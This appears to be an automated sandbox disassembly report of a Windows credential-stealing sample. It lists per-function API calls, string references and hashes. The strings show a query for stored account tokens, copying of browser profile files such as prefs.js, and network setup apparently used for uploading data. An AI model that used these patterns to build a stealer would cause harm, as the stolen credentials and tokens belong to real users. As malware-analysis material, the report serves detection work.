lstrcatA.KERNEL32(00000000,00000000), ref: 0040F9E2
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA09
lstrlenA.KERNEL32(00434BA0), ref: 0040FA1B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA3D
lstrcatA.KERNEL32(00000000,00434BA0), ref: 0040FA49
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA74
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FAA1
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FAAC
lstrlenA.KERNEL32(00869830), ref: 0040FABA
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FADE
lstrcatA.KERNEL32(00000000,00869830), ref: 0040FAE6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FB11
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040FB67
RtlAllocateHeap.NTDLL(00000000), ref: 0040FB6E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FBBD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FBF6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC29
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC5C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC96
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FCC9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FCFB
StrCmpCA.SHLWAPI(?,00434CE8), ref: 0040FD0A
lstrlenA.KERNEL32(00869910), ref: 0040FD1C
lstrlenA.KERNEL32(00869940), ref: 0040FD51
lstrcpy.KERNEL32(00000000,00869940), ref: 0040FD7E
StrCmpCA.SHLWAPI(?,00434CE8), ref: 0040FD8D
lstrlenA.KERNEL32(00869910), ref: 0040FD9F
lstrlenA.KERNEL32(00869940), ref: 0040FDD4
lstrcpy.KERNEL32(00000000,00869940), ref: 0040FE01
lstrcatA.KERNEL32(?,?), ref: 0040FE0F
lstrcatA.KERNEL32(?,00434CEC), ref: 0040FE1E
lstrcatA.KERNEL32(?,00000000), ref: 0040FE2C
lstrcatA.KERNEL32(?,00434CEC), ref: 0040FE3B
lstrcatA.KERNEL32(?,?), ref: 0040FE49
lstrcatA.KERNEL32(?,00434CEC), ref: 0040FE58
lstrcatA.KERNEL32(?,00000000), ref: 0040FE66
lstrcatA.KERNEL32(?,00434CEC), ref: 0040FE75
lstrcatA.KERNEL32(?,?), ref: 0040FE83
lstrcatA.KERNEL32(?,00434CEC), ref: 0040FE92
lstrcatA.KERNEL32(?,?), ref: 0040FEA0
lstrcatA.KERNEL32(?,00434CEC), ref: 0040FEAF
lstrcatA.KERNEL32(?,00000000), ref: 0040FEBA
lstrcatA.KERNEL32(?,00434ADC), ref: 0040FEC9
lstrlenA.KERNEL32(?), ref: 004101E8
lstrlenA.KERNEL32(?), ref: 004101F7
lstrcpy.KERNEL32(00000000,00000000), ref: 00410224
memset.MSVCRT ref: 0041025C
DeleteFileA.KERNEL32(?), ref: 00410286

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeap$AllocateCopyDeleteProcessmemset
String ID:
API String ID: 1332541768-0
Opcode ID: 64c217b2ba6dee7d2fb9c9251ae1dacf7b48b8ccc9d2b2e35e69fe138d804a4c
Instruction ID: 0db76de0941f00a816099abd8f03778ad651b1a980e78fbb37c0d18ed822a662
Opcode Fuzzy Hash: 64c217b2ba6dee7d2fb9c9251ae1dacf7b48b8ccc9d2b2e35e69fe138d804a4c
Instruction Fuzzy Hash: 64827070A012069FCB24DF69D948AABB7B5AF44304F18807EE805E73A1DB79DD45CFA4

Function 0040D330 Relevance: 98.7, APIs: 53, Strings: 3, Instructions: 699stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040D363
lstrlenA.KERNEL32(AccountTokens), ref: 0040D36E
lstrcpy.KERNEL32(00000000,?), ref: 0040D39B
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0040D3A7
lstrlenA.KERNEL32(0043179C), ref: 0040D3B2
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D3D2
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040D3DE
lstrcpy.KERNEL32(00000000,?), ref: 0040D409
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D414
lstrlenA.KERNEL32(00869830), ref: 0040D422
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D44B
lstrcatA.KERNEL32(00000000,00869830), ref: 0040D453
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D481
lstrcpy.KERNEL32(00000000,?), ref: 0040D4B6
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0040D4C2
lstrlenA.KERNEL32(0043179C), ref: 0040D4CD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D4ED
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040D4F9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D522
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D52D
lstrlenA.KERNEL32(00434BA0), ref: 0040D538
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D55A
lstrcatA.KERNEL32(00000000,00434BA0), ref: 0040D566
lstrcpy.KERNEL32(00000000,?), ref: 0040D58E
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D599
lstrlenA.KERNEL32(00869830), ref: 0040D5A8
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D5CE
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D5D9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D607
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040D6A0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D6ED
lstrcpy.KERNEL32(00000000,?), ref: 0040D74A
lstrlenA.KERNEL32(?), ref: 0040D767
LocalAlloc.KERNEL32(00000040,00000001), ref: 0040D787
StrStrA.SHLWAPI(00000000,AccountId), ref: 0040D7B1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D7EB
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D7F6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D821
lstrlenA.KERNEL32(00434CA8), ref: 0040D833
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D855
lstrcatA.KERNEL32(00000000,00434CA8), ref: 0040D861

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

Part of subcall function 0041EFC0: lstrcpy.KERNEL32(00000000,?), ref: 0041EFF2

lstrcpy.KERNEL32(00000000,00000000), ref: 0040D88C
lstrlenA.KERNEL32(0000000A), ref: 0040D89D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D8C5
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D8D0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D8F8
lstrlenA.KERNEL32(00434ADC), ref: 0040D90A
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D92A
lstrcatA.KERNEL32(00000000,00434ADC), ref: 0040D936
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D95F
lstrlenA.KERNEL32(?), ref: 0040DA72
lstrlenA.KERNEL32(?), ref: 0040DA7E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DAA6

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040D65E
AccountId, xrefs: 0040D7AB
AccountTokens, xrefs: 0040D369, 0040D3A1, 0040D4BC

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AllocLocal
String ID: AccountId$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3196764088-2907684507
Opcode ID: fd7feb114b4198b9b23e0e6256a18c544c5f5615ea3a2fa5f1af1e644541b452
Instruction ID: 00ae4a79e6e0c7473f02211603567d6cbe973373960a324e5496a46be7c4e2f9
Opcode Fuzzy Hash: fd7feb114b4198b9b23e0e6256a18c544c5f5615ea3a2fa5f1af1e644541b452
Instruction Fuzzy Hash: E8423D71A112069BCB11AFA9DD89AAF77B5AF44304F14503AF805B72E1DB78DC09CF98

Function 00405869 Relevance: 91.7, APIs: 48, Strings: 4, Instructions: 663
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00405893
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004058C3
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004058F8
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00405932
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405942
StrCmpCA.SHLWAPI(?,00869AB0), ref: 00405962

Strings

--, xrefs: 00405A5F, 00405A87
------, xrefs: 004059F9, 00405A26
------, xrefs: 00405BDB, 00405CCC, 00405DBA
", xrefs: 00405C74, 00405D62, 00405E50

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: ------$"$--$------
API String ID: 2041821634-1406108388
Opcode ID: 76775e90afd1a04ae5f331eb450741cf0cb9128e617568e274a4e880bb1c0837
Instruction ID: 504e0fad0735a076b73f6b5c7b697d6665adbadb3af44c738b8153b589125d1f
Opcode Fuzzy Hash: 76775e90afd1a04ae5f331eb450741cf0cb9128e617568e274a4e880bb1c0837
Instruction Fuzzy Hash: 3D326D31B002169BCB10EBB9DD89A9F77B5AF44304F05543AB905B7292DB78EC068FD8

Function 004186F0 Relevance: 86.2, APIs: 47, Strings: 2, Instructions: 447
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strtok_s.MSVCRT ref: 00418717
lstrlenA.KERNEL32(00000000), ref: 00418776
lstrcpy.KERNEL32(00000000,00000000), ref: 004187AD
lstrcpy.KERNEL32(?,00000000), ref: 004187EA
StrStrA.SHLWAPI(?,00872048), ref: 0041880F
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\,?,00000000), ref: 0041882E
lstrlenA.KERNEL32(?), ref: 00418841
wsprintfA.USER32 ref: 00418851
lstrcpy.KERNEL32(?,?), ref: 00418867
StrStrA.SHLWAPI(?,008721B0), ref: 00418894
lstrcpy.KERNEL32(?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\), ref: 004188F4
StrStrA.SHLWAPI(?,00872198), ref: 00418921
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\,?,00000000), ref: 00418940
strtok_s.MSVCRT ref: 00418D9A

Strings

%s%s, xrefs: 0041884B, 004188D8, 0041895D, 004189E2, 00418A6F, 00418AF4, 00418B79, 00418C06
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\, xrefs: 00418829, 0041885A, 004188B6, 004188E7, 004188EC, 0041893B, 0041896C, 004189C0, 004189F1, 00418A4D, 00418A7E, 00418A83, 00418AD2, 00418B03, 00418B57, 00418B88, 00418BE4, 00418C15, 00418C1A

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcpynlstrlenstrtok_s$wsprintf
String ID: %s%s$C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\
API String ID: 3558900699-4207196183
Opcode ID: a38b2412aa3850e7c6eb5baf7ff776a385bd63f5d97b52bd8c70c2dc82a21b28
Instruction ID: de10050810f8fad129be072a37574d0fe1fd62b58f8acade005356991d19932f
Opcode Fuzzy Hash: a38b2412aa3850e7c6eb5baf7ff776a385bd63f5d97b52bd8c70c2dc82a21b28
Instruction Fuzzy Hash: B3024D71A00214EFDB10DB68DD48ADA77BAEF88340F144199F909A3390DBB4AE45CFE4

Function 004201C2 Relevance: 73.3, APIs: 40, Strings: 1, Instructions: 1558stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004201E3
lstrlenA.KERNEL32(0042CFF4,00000000,00000000,00000000,?,00422075), ref: 0042028D
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004202B1
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 004202BC
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004202E0
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 004202EB
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0042030F
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 0042032A
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00420359
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 00420364
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00420393
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 0042039E
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004203D6
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 00420420
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00420458
lstrcpy.KERNEL32(00000000,?), ref: 0042076B
lstrlenA.KERNEL32(00867828), ref: 0042077B
lstrcpy.KERNEL32(00000000,?), ref: 004207A7
lstrcatA.KERNEL32(00000000,?), ref: 004207B3
lstrcpy.KERNEL32(00000000,00000000), ref: 004207DE
lstrlenA.KERNEL32(00873730), ref: 004207F5
lstrcpy.KERNEL32(00000000,?), ref: 0042081C
lstrcatA.KERNEL32(00000000,?), ref: 00420828
lstrcpy.KERNEL32(00000000,00000000), ref: 00420851
lstrlenA.KERNEL32(008679A8), ref: 00420868
lstrcpy.KERNEL32(00000000,?), ref: 00420899
lstrcatA.KERNEL32(00000000,?), ref: 004208A5
lstrcpy.KERNEL32(00000000,00000000), ref: 004208D6
lstrcpy.KERNEL32(00000000,00869638), ref: 0042091B

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

lstrcpy.KERNEL32(00000000,?), ref: 0042094F
lstrcpy.KERNEL32(00000000,00873778), ref: 004209B7
lstrcpy.KERNEL32(00000000,00869B50), ref: 00420A28
lstrcpy.KERNEL32(00000000,fplugins), ref: 00420A9F
lstrcpy.KERNEL32(00000000,?), ref: 00420AF8
lstrcpy.KERNEL32(00000000,00869A90), ref: 00420BC8

Part of subcall function 004024E0: lstrcpy.KERNEL32(00000000,?), ref: 00402528
Part of subcall function 004024E0: lstrcpy.KERNEL32(00000000,?), ref: 0040254E
Part of subcall function 004024E0: lstrcpy.KERNEL32(00000000,?), ref: 00402577

lstrcpy.KERNEL32(00000000,00869A10), ref: 00420C9E
lstrcpy.KERNEL32(00000000,?), ref: 00420D51
lstrcpy.KERNEL32(00000000,00869A10), ref: 00420F28

Strings

fplugins, xrefs: 00420A99

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: fplugins
API String ID: 2500673778-38756186
Opcode ID: 099cc8ad26c2ec3948c20d9a0b5b73ec1342b20481f7f3bdc457ad1336ec2afc
Instruction ID: 524db6a1d27b447d37ba4b75c2ec67fa85070715915738951aaa0f71b1a620fa
Opcode Fuzzy Hash: 099cc8ad26c2ec3948c20d9a0b5b73ec1342b20481f7f3bdc457ad1336ec2afc
Instruction Fuzzy Hash: BFE27D70A053418FD724DF29D588B5ABBE1BF88304F98846EE44D8B3A2DB78D841CF56

Function 00412DCC Relevance: 69.6, APIs: 46, Instructions: 572
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32 ref: 00412DD8
lstrcatA.KERNEL32(?,00000000), ref: 00412DE3
lstrlenA.KERNEL32(0043179C), ref: 00412DEE
lstrcpy.KERNEL32(00000000), ref: 00412E11
lstrcatA.KERNEL32(00000000,0043179C), ref: 00412E1D
lstrlenA.KERNEL32(00871E20), ref: 00412E2C
lstrcpy.KERNEL32(00000000,?), ref: 00412E5C
lstrcatA.KERNEL32(00000000,?), ref: 00412E64
lstrlenA.KERNEL32(0043179C), ref: 00412E6F
lstrcpy.KERNEL32(00000000,00000000), ref: 00412E92
lstrcatA.KERNEL32(00000000,0043179C), ref: 00412E9E
lstrlenA.KERNEL32(008722E0), ref: 00412EAD
lstrcpy.KERNEL32(00000000,?), ref: 00412ED7
lstrcatA.KERNEL32(00000000,?), ref: 00412EDF
lstrcpy.KERNEL32(00000000,00000000), ref: 00412F02
lstrcatA.KERNEL32(00000000,00000000), ref: 00412F0D
lstrlenA.KERNEL32(00872460), ref: 00412F1C
lstrcpy.KERNEL32(00000000,00000000), ref: 00412F45
lstrcatA.KERNEL32(00000000,00000000), ref: 00412F50
lstrcpy.KERNEL32(00000000,00000000), ref: 00412F79
lstrlenA.KERNEL32(0043179C), ref: 00412FDB
lstrcpy.KERNEL32(00000000,00000000), ref: 00413000
lstrcatA.KERNEL32(00000000,0043179C), ref: 0041300C
lstrlenA.KERNEL32(00869AD0), ref: 0041301A
lstrcpy.KERNEL32(00000000,00000000), ref: 0041303B
lstrcatA.KERNEL32(00000000,00869AD0), ref: 00413043
lstrcpy.KERNEL32(00000000,00000000), ref: 0041306A
lstrcpy.KERNEL32(00000000,?), ref: 0041309F
GetFileAttributesA.KERNEL32(00000000), ref: 004130A6
lstrcpy.KERNEL32(00000000,?), ref: 00413167
lstrcpy.KERNEL32(00000000,?), ref: 00413190
lstrcpy.KERNEL32(00000000,?), ref: 004131B9
lstrcpy.KERNEL32(00000000,?), ref: 004131E4

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFile
String ID:
API String ID: 1033685851-0
Opcode ID: 9c236693fe4c8ca2fa70e384d8444d355ce408075746d3b8ecdca86d4cec5f69
Instruction ID: a3bda7008b93e384f0931a3fb194133b0190ab2649ecf1000e8b0416e60c001c
Opcode Fuzzy Hash: 9c236693fe4c8ca2fa70e384d8444d355ce408075746d3b8ecdca86d4cec5f69
Instruction Fuzzy Hash: D7127D71B102069BCB21AF79DE89AAF77B5AF04305F04412AB815E7390DFB8DD458F98

Function 00414DD7 Relevance: 65.7, APIs: 36, Strings: 1, Instructions: 982stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,004317A8), ref: 00414DEC
StrCmpCA.SHLWAPI(?,004317AC), ref: 00414E06
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414E3F
lstrcpy.KERNEL32(00000000,?), ref: 00414E6A
lstrcatA.KERNEL32(00000000,00000000), ref: 00414E75
lstrlenA.KERNEL32(0043179C), ref: 00414E80
lstrcpy.KERNEL32(00000000,00000000), ref: 00414E9D
lstrcatA.KERNEL32(00000000,0043179C), ref: 00414EA9
lstrlenA.KERNEL32(?), ref: 00414EB6
lstrcpy.KERNEL32(00000000,00000000), ref: 00414EDA
lstrcatA.KERNEL32(00000000,?), ref: 00414EE8
lstrcpy.KERNEL32(00000000,00000000), ref: 00414F10
StrCmpCA.SHLWAPI(?,prefs.js), ref: 00414F38
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414F70
lstrlenA.KERNEL32(00871B08), ref: 00414F7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00414FA7
lstrcatA.KERNEL32(00000000,00000000), ref: 00414FB2
lstrcpy.KERNEL32(00000000,00000000), ref: 00414FDA
lstrcpy.KERNEL32(00000000,00000000), ref: 00415016
lstrcatA.KERNEL32(00000000), ref: 00415020
lstrcpy.KERNEL32(00000000,00000000), ref: 00415049
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00415065
lstrcpy.KERNEL32(00000000,00000000), ref: 0041508E
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004150A3
lstrcpy.KERNEL32(00000000), ref: 00415103
lstrcpy.KERNEL32(00000000,?), ref: 00415129
lstrcpy.KERNEL32(00000000,?), ref: 00415152
lstrcpy.KERNEL32(00000000,?), ref: 0041517B
lstrcpy.KERNEL32(00000000,00000000), ref: 004151A4
FindNextFileA.KERNELBASE(?,?), ref: 004153B3
FindClose.KERNEL32(?), ref: 004153C2

Strings

prefs.js, xrefs: 00414F2C

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Filelstrlen$CopyFind$CloseNext
String ID: prefs.js
API String ID: 3746966799-3783873740
Opcode ID: d5f6a70234c65e76a92482b60845b57a3a46b7741f2e92fb995bc2ff68f7c041
Instruction ID: e8aabfab1d53ed0a34bf3b3ddd6573e56b4e2d6d322fd129790f28a73c9ebfb4
Opcode Fuzzy Hash: d5f6a70234c65e76a92482b60845b57a3a46b7741f2e92fb995bc2ff68f7c041
Instruction Fuzzy Hash: 41820F70A01605CFDB14CF29D948BAAB7E5AF84315F1980AED809DB3A1D779DC82CF94

Function 00414DD9 Relevance: 65.7, APIs: 36, Strings: 1, Instructions: 982stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,004317A8), ref: 00414DEC
StrCmpCA.SHLWAPI(?,004317AC), ref: 00414E06
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414E3F
lstrcpy.KERNEL32(00000000,?), ref: 00414E6A
lstrcatA.KERNEL32(00000000,00000000), ref: 00414E75
lstrlenA.KERNEL32(0043179C), ref: 00414E80
lstrcpy.KERNEL32(00000000,00000000), ref: 00414E9D
lstrcatA.KERNEL32(00000000,0043179C), ref: 00414EA9
lstrlenA.KERNEL32(?), ref: 00414EB6
lstrcpy.KERNEL32(00000000,00000000), ref: 00414EDA
lstrcatA.KERNEL32(00000000,?), ref: 00414EE8
lstrcpy.KERNEL32(00000000,00000000), ref: 00414F10
StrCmpCA.SHLWAPI(?,prefs.js), ref: 00414F38
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414F70
lstrlenA.KERNEL32(00871B08), ref: 00414F7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00414FA7
lstrcatA.KERNEL32(00000000,00000000), ref: 00414FB2
lstrcpy.KERNEL32(00000000,00000000), ref: 00414FDA
lstrcpy.KERNEL32(00000000,00000000), ref: 00415016
lstrcatA.KERNEL32(00000000), ref: 00415020
lstrcpy.KERNEL32(00000000,00000000), ref: 00415049
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00415065
lstrcpy.KERNEL32(00000000,00000000), ref: 0041508E
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004150A3
lstrcpy.KERNEL32(00000000), ref: 00415103
lstrcpy.KERNEL32(00000000,?), ref: 00415129
lstrcpy.KERNEL32(00000000,?), ref: 00415152
lstrcpy.KERNEL32(00000000,?), ref: 0041517B
lstrcpy.KERNEL32(00000000,00000000), ref: 004151A4
FindNextFileA.KERNELBASE(?,?), ref: 004153B3
FindClose.KERNEL32(?), ref: 004153C2

Strings

prefs.js, xrefs: 00414F2C

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
